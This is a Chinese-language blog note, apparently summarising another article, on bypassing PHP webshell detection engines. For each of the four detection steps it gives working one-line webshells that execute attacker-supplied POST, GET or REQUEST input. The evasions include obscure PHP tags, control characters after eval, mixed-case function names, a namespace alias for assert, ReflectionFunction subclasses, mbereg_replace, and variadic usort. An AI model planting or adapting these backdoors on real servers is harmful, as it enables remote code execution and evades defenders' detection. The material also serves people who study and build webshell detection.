绕过php webshell检测的一些思考方式

读完原文章确实很受启发,按照自己的思路记录下这篇笔记,以后有时间再进行扩展,因此该文章并不是原创内容。

Webshell 检测引擎对 php 回调型后门的检测步骤:

1. 在目标文件或内容中找到 PHP 代码
2. 将 PHP 代码解析成 AST Tree,并遍历
3. 分析 FuncCall Node,判断是否调用了含有"回调参数"的函数
4. 判断回调参数是否是一个变量

针对 第一步 :

在目标文件或内容中找到 PHP 代码

攻击原理:

检测引擎会根据 PHP 代码标签来界定 PHP 代码

攻击方法:

用不常见的标签就可能导致检测引擎识别不到 PHP 代码,导致被绕过

PHP 支持的四种标签如下:

  • <?php ?> 标签
  • <? ?> 标签
  • <% %> 标签 (默认不开启,PHP7 后被移除)
  • <script language="php"> </script> 标签 (PHP7 后被移除)

针对 第二步 :

将 PHP 代码解析成 AST Tree,并遍历

攻击原理:

让检测引擎无法解析将 PHP 代码正常解析成 AST Tree

攻击方法:

在恶意函数和左边括号直接添加控制字符(\x00-\x20)

绕过一些具有语法解析的Webshell检测引擎示例:

<?php eval\x01\x02($_POST[2333]);

(其中, \x01\x02需要转换成实际的不可见字符)

针对 第三步 :

判断是否调用了含有 "回调参数" 的函数

攻击原理:

检测引擎内置恶意函数名黑名单,通过和黑名单比对函数名/类名是否相同,来确定某函数是否为恶意函数

攻击方法:

使被调用的恶意函数名/类名不在黑名单中

  • 函数名大小写变化
UsORt($_POST[1], $_POST[2]);
  • 设置函数别名 (PHP >=5.6 增加函数名的命名空间)
<?php
use function \assert as test;

test($_POST[2333]);
  • 继承恶意父类利用子类来调用类的恶意函数
<?php
class test extends ReflectionFunction {}
$f = new test($_POST['name']);
$f->invoke($_POST[2333]);
<?php
$f = new class($_POST['name']) extends ReflectionFunction {};
$f->invoke($_POST[2333]); # php 7.x
  • 发现比黑名单更多的恶意函数 (增加除经验、文档以外如:源码中隐藏的发现渠道)
mbereg_replace('.*', '\0', $_REQUEST[2333], 'mer');   # PHP <= 7.2, mbereg_ireplace 也可以

针对 第四步 :

判断回调参数是否是一个变量

攻击原理:

攻击检测引擎判断回溯变量的方式

攻击方法:

PHP >=5.6,可传入变长数组作为函数变量,如:

usort(...$_GET);

原文章:

PHP动态特性的捕捉与逃逸

标签     

评论